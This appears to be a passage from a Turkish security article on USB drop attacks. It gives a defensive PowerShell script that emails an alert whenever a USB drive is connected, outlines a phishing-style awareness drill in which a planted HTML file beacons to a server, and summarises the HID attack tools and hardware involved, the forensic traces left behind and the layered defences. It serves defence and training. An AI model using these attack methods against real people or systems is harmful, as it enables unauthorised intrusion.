# USB'den çalıştırmayı tamamen engelle
# WDAC politikasında AllowedPaths listesine USB sürücüleri ekleme
# 4. PowerShell ile USB alert scripti
# Yeni USB takıldığında e-posta gönder
Register-WmiEvent -Query "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2" `
-SourceIdentifier "USB_Takildi" `
-Action {
$surucu = $event.SourceEventArgs.NewEvent.DriveName
Send-MailMessage -To "[email protected]" `
-Subject "YENİ USB BAĞLANDI: $surucu" `
-Body "Bilgisayar: $env:COMPUTERNAME, Sürücü: $surucu, Zaman: $(Get-Date)" `
-SmtpServer "mail.sirket.com"
}
# 5. Farkındalık tatbikatı — GoPhish benzeri USB simülasyonu
# USB belleğe özel bir HTML dosyası koy
# Dosya açıldığında merkezi bir sunucuya beacon göndersin
# Kaç kişinin taktığını, kaçının dosyayı açtığını raporla
# Sonuçlarla birlikte hedefli eğitim yap
USB drop saldırıları insan merakını ve iyilik duygusunu silah olarak kullanan, teknik açıdan basit ama etki açısından son derece yıkıcı saldırılardır. Klasik yöntemde kötü amaçlı dosyalar ve LNK kısayolları kullanılır. HID saldırılarında USB Rubber Ducky ve Arduino kartları sisteme klavye gibi davranarak saniyeler içinde payload çalıştırır. O.MG Cable ve BadUSB firmware manipülasyonu saldırıyı neredeyse görünmez kılar. Sistem tarafında USBSTOR anahtarı, setupapi.dev.log, Prefetch ve Sysmon kayıtları USB bağlantısını ve sonraki aktiviteyi belgeler. Savunmada Group Policy ile USB devre dışı bırakma, USBGuard ile beyaz liste politikası ve EDR ile USB izleme teknik katmanı oluşturur. Farkındalık tatbikatları bu katmanı insan faktörüyle destekler. Teknik ve insan önlemleri bir arada olmadan yalnızca birine güvenmek yeterli değildir.
Önemli Hatırlatma: Bu yazıdaki teknikler ve kodlar eğitim ve bilgilendirme kapsamında paylaşılmıştır. Yetkisiz sistemlere USB drop saldırısı gerçekleştirmek TCK Madde 243 ve ilgili maddeler kapsamında suçtur. Denemeyiniz.


